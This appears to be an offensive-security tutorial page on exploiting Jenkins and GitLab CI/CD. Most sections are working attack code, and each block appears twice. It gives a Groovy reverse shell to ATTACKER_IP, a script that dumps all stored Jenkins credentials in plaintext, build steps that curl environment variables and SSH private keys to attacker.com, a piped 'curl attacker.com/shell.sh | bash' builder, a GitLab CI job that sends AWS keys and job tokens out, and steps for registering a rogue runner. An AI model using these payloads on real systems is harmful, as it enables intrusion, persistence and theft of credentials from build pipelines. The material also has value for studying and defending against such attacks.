🔥 Advanced

Jenkins & GitLab Exploitation

Jenkins and GitLab are enterprise CI/CD workhorses. Their power makes them high-value targets - access often means credentials to everything.

🔧 Jenkins Exploitation

Jenkins runs ~50% of enterprise CI/CD. It's Java-based with Groovy scripting - admin access = immediate RCE.

🎯
Script Console
Groovy RCE
🔐
Credentials
Decrypt stored secrets
📋
Build Logs
Secret leakage

Script Console RCE

High Impact

The Jenkins Script Console at /script executes arbitrary Groovy. Admin access = immediate server compromise. Many instances leave this exposed.
bash
// ===== LINUX REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "/bin/bash";
Process p = new ProcessBuilder(cmd, "-i").redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read());
    while (pe.available() > 0) so.write(pe.read());
    while (si.available() > 0) po.write(si.read());
    so.flush(); po.flush(); Thread.sleep(50);
}
p.destroy(); s.close();

// ===== WINDOWS REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "cmd.exe";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... same streaming code ...

// ===== COMMAND EXECUTION (simpler) =====
def cmd = "whoami".execute();
println cmd.text

def cmd2 = ["cat", "/etc/passwd"].execute();
println cmd2.text

// ===== READ FILES =====
new File("/etc/passwd").text
new File("C:\\Users\\Administrator\\Desktop\\flag.txt").text
// ===== LINUX REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "/bin/bash";
Process p = new ProcessBuilder(cmd, "-i").redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read());
    while (pe.available() > 0) so.write(pe.read());
    while (si.available() > 0) po.write(si.read());
    so.flush(); po.flush(); Thread.sleep(50);
}
p.destroy(); s.close();

// ===== WINDOWS REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "cmd.exe";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... same streaming code ...

// ===== COMMAND EXECUTION (simpler) =====
def cmd = "whoami".execute();
println cmd.text

def cmd2 = ["cat", "/etc/passwd"].execute();
println cmd2.text

// ===== READ FILES =====
new File("/etc/passwd").text
new File("C:\\Users\\Administrator\\Desktop\\flag.txt").text

Credential Extraction

Jenkins stores credentials encrypted. With file access, you can decrypt them:

bash
# FILES YOU NEED (usually in /var/lib/jenkins or JENKINS_HOME):
# 1. secrets/master.key
# 2. secrets/hudson.util.Secret  
# 3. credentials.xml (or jobs/*/config.xml for job-specific creds)

# === METHOD 1: Via Script Console (if you have access) ===
println(hudson.util.Secret.decrypt("{AQAAABAAAAAQd...}"))

# Or dump ALL credentials:
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
def creds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardCredentials.class,
    Jenkins.instance,
    null,
    null
);
for (c in creds) {
    println(c.id + " : " + c.description)
    if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {
        println("  Username: " + c.username)
        println("  Password: " + c.password.getPlainText())
    }
}

# === METHOD 2: Offline with files ===
# Use jenkins-credentials-decryptor:
python3 jenkins_credentials_decryptor.py -m master.key -s hudson.util.Secret -c credentials.xml
# FILES YOU NEED (usually in /var/lib/jenkins or JENKINS_HOME):
# 1. secrets/master.key
# 2. secrets/hudson.util.Secret  
# 3. credentials.xml (or jobs/*/config.xml for job-specific creds)

# === METHOD 1: Via Script Console (if you have access) ===
println(hudson.util.Secret.decrypt("{AQAAABAAAAAQd...}"))

# Or dump ALL credentials:
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
def creds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardCredentials.class,
    Jenkins.instance,
    null,
    null
);
for (c in creds) {
    println(c.id + " : " + c.description)
    if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {
        println("  Username: " + c.username)
        println("  Password: " + c.password.getPlainText())
    }
}

# === METHOD 2: Offline with files ===
# Use jenkins-credentials-decryptor:
python3 jenkins_credentials_decryptor.py -m master.key -s hudson.util.Secret -c credentials.xml

Jenkins Enumeration

bash
# Check if Jenkins is running
curl -s http://target:8080 | grep -i jenkins

# Check for unauthenticated access
curl -s http://target:8080/script
curl -s http://target:8080/asynchPeople/

# API endpoints (may leak info)
curl -s http://target:8080/api/json?pretty=true
curl -s http://target:8080/computer/api/json?pretty=true

# List all jobs
curl -s http://target:8080/api/json?tree=jobs[name,url]

# Get build console output (secrets often leaked here)
curl -s http://target:8080/job/JobName/lastBuild/consoleText

# Check for vulnerable plugins
curl -s http://target:8080/pluginManager/api/json?depth=1

# Common credential locations
/var/lib/jenkins/secrets/
/var/lib/jenkins/credentials.xml
/var/lib/jenkins/users/*/config.xml
C:\Program Files\Jenkins\secrets\
C:\ProgramData\Jenkins\.jenkins\
# Check if Jenkins is running
curl -s http://target:8080 | grep -i jenkins

# Check for unauthenticated access
curl -s http://target:8080/script
curl -s http://target:8080/asynchPeople/

# API endpoints (may leak info)
curl -s http://target:8080/api/json?pretty=true
curl -s http://target:8080/computer/api/json?pretty=true

# List all jobs
curl -s http://target:8080/api/json?tree=jobs[name,url]

# Get build console output (secrets often leaked here)
curl -s http://target:8080/job/JobName/lastBuild/consoleText

# Check for vulnerable plugins
curl -s http://target:8080/pluginManager/api/json?depth=1

# Common credential locations
/var/lib/jenkins/secrets/
/var/lib/jenkins/credentials.xml
/var/lib/jenkins/users/*/config.xml
C:\Program Files\Jenkins\secrets\
C:\ProgramData\Jenkins\.jenkins\

Build Job Manipulation

bash
# If you can modify job configs (via UI, API, or file access):

# 1. Add malicious build step
# In job config, add Execute Shell:
curl -X POST -d "$(env)" https://attacker.com/collect
cat ~/.ssh/id_rsa | base64 | curl -X POST -d @- https://attacker.com/key

# 2. Via API (requires authentication)
# Get current config
curl -u user:token http://jenkins/job/JobName/config.xml -o config.xml

# Modify config.xml, add to <builders>:
<hudson.tasks.Shell>
  <command>curl attacker.com/shell.sh | bash</command>
</hudson.tasks.Shell>

# Upload modified config
curl -X POST -u user:token http://jenkins/job/JobName/config.xml --data-binary @config.xml
# If you can modify job configs (via UI, API, or file access):

# 1. Add malicious build step
# In job config, add Execute Shell:
curl -X POST -d "$(env)" https://attacker.com/collect
cat ~/.ssh/id_rsa | base64 | curl -X POST -d @- https://attacker.com/key

# 2. Via API (requires authentication)
# Get current config
curl -u user:token http://jenkins/job/JobName/config.xml -o config.xml

# Modify config.xml, add to <builders>:
<hudson.tasks.Shell>
  <command>curl attacker.com/shell.sh | bash</command>
</hudson.tasks.Shell>

# Upload modified config
curl -X POST -u user:token http://jenkins/job/JobName/config.xml --data-binary @config.xml

🦊 GitLab CI/CD Exploitation

GitLab combines SCM + CI/CD. Runners execute jobs - compromise them for secrets, code, and network access.

🏃
Runners
Job execution
🔑
CI Variables
Secrets in env
📝
.gitlab-ci.yml
Pipeline control

CI Variable Extraction

bash
# .gitlab-ci.yml - add to any job to exfil secrets:

stages:
  - build

steal_secrets:
  stage: build
  script:
    # Dump all environment variables
    - env | sort | curl -X POST -d @- https://attacker.com/env
    
    # Target specific variables
    - |
      curl -X POST \
        -d "aws_key=$AWS_ACCESS_KEY_ID" \
        -d "aws_secret=$AWS_SECRET_ACCESS_KEY" \
        -d "deploy_key=$DEPLOY_SSH_KEY" \
        https://attacker.com/collect
    
    # Grab CI_JOB_TOKEN (can clone other repos!)
    - echo $CI_JOB_TOKEN | curl -X POST -d @- https://attacker.com/token
    
    # Clone private repos using job token
    - git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/company/internal-repo.git
# .gitlab-ci.yml - add to any job to exfil secrets:

stages:
  - build

steal_secrets:
  stage: build
  script:
    # Dump all environment variables
    - env | sort | curl -X POST -d @- https://attacker.com/env
    
    # Target specific variables
    - |
      curl -X POST \
        -d "aws_key=$AWS_ACCESS_KEY_ID" \
        -d "aws_secret=$AWS_SECRET_ACCESS_KEY" \
        -d "deploy_key=$DEPLOY_SSH_KEY" \
        https://attacker.com/collect
    
    # Grab CI_JOB_TOKEN (can clone other repos!)
    - echo $CI_JOB_TOKEN | curl -X POST -d @- https://attacker.com/token
    
    # Clone private repos using job token
    - git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/company/internal-repo.git

Rogue Runner Registration

Persistence Technique

If you find a runner registration token, you can register your own runner and intercept all jobs that target it.
bash
# Runner registration tokens are found in:
# - GitLab Admin > Runners (admin access)
# - Group/Project > CI/CD > Runners
# - Sometimes leaked in .gitlab-ci.yml or logs

# Register rogue runner
gitlab-runner register \
  --url https://gitlab.target.com/ \
  --registration-token LEAKED_TOKEN \
  --executor shell \
  --description "build-runner-02" \
  --tag-list "docker,linux,build"

# Now ALL jobs with matching tags run on YOUR machine
# You see source code, environment variables, secrets...

# Check for existing runners (with access)
curl --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/runners"
# Runner registration tokens are found in:
# - GitLab Admin > Runners (admin access)
# - Group/Project > CI/CD > Runners
# - Sometimes leaked in .gitlab-ci.yml or logs

# Register rogue runner
gitlab-runner register \
  --url https://gitlab.target.com/ \
  --registration-token LEAKED_TOKEN \
  --executor shell \
  --description "build-runner-02" \
  --tag-list "docker,linux,build"

# Now ALL jobs with matching tags run on YOUR machine
# You see source code, environment variables, secrets...

# Check for existing runners (with access)
curl --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/runners"

GitLab API Enumeration

bash
# Check version (important for CVE matching)
curl -s https://gitlab.target.com/api/v4/version

# List accessible projects
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects?membership=true"

# Get project variables (if maintainer+)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/variables"

# List CI/CD pipelines
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/pipelines"

# Get job logs (secrets often leaked)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/jobs/:job_id/trace"

# Find runner tokens in old pipelines
# Search for "registration_token" in job logs
# Check version (important for CVE matching)
curl -s https://gitlab.target.com/api/v4/version

# List accessible projects
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects?membership=true"

# Get project variables (if maintainer+)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/variables"

# List CI/CD pipelines
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/pipelines"

# Get job logs (secrets often leaked)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
  "https://gitlab.target.com/api/v4/projects/:id/jobs/:job_id/trace"

# Find runner tokens in old pipelines
# Search for "registration_token" in job logs

Protected Branch Bypass

bash
# Protected branches restrict who can push
# But CI/CD often has elevated permissions...

# Method 1: Use CI_JOB_TOKEN to push (if permissions allow)
git remote set-url origin https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/repo.git
git push origin main  # May bypass protections

# Method 2: Use Deploy Keys
# If SSH deploy key is in CI variables:
echo "$DEPLOY_SSH_KEY" > /tmp/key && chmod 600 /tmp/key
GIT_SSH_COMMAND="ssh -i /tmp/key" git push origin main

# Method 3: Abuse merge request approvals
# Create MR from feature branch (you control)
# CI passes, auto-merge kicks in
# Protected branches restrict who can push
# But CI/CD often has elevated permissions...

# Method 1: Use CI_JOB_TOKEN to push (if permissions allow)
git remote set-url origin https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/repo.git
git push origin main  # May bypass protections

# Method 2: Use Deploy Keys
# If SSH deploy key is in CI variables:
echo "$DEPLOY_SSH_KEY" > /tmp/key && chmod 600 /tmp/key
GIT_SSH_COMMAND="ssh -i /tmp/key" git push origin main

# Method 3: Abuse merge request approvals
# Create MR from feature branch (you control)
# CI passes, auto-merge kicks in

Tools

Real-World: SolarWinds SUNBURST (2020)

Attackers gained access to SolarWinds' build system and injected a backdoor into the Orion software update process. The compromised build was signed and distributed to 18,000+ organizations including US government agencies. Lesson: Build system access = total downstream compromise.
🎯

Jenkins & GitLab Attack Labs

Practice CI/CD pipeline exploitation in a safe environment.

🔧
Jenkins Script Console RCE Custom Lab medium
Deploy a Jenkins instance with default configurationAccess the Groovy script console and execute system commandsExtract credentials from Jenkins credential store via GroovyEnumerate internal network from the Jenkins hostImplement RBAC to restrict script console access
🔧
GitLab CI Variable Extraction Custom Lab hard
Set up a GitLab instance with protected and unprotected CI variablesCreate a rogue .gitlab-ci.yml that dumps all environment variablesBypass protected variable restrictions via branch name manipulationRegister a rogue runner and intercept job secretsHarden: Enable runner authentication tokens and variable masking

📋 Framework Alignment

OWASP CI/CD: CICD-SEC-1 (Insufficient Flow Control), CICD-SEC-2 (Inadequate Identity & Access Mgmt) | MITRE ATT&CK: T1059.004 (Unix Shell), T1552.001 (Credentials In Files) | CIS Controls: 16.1 (Software Development Process), 6.1 (Access Control)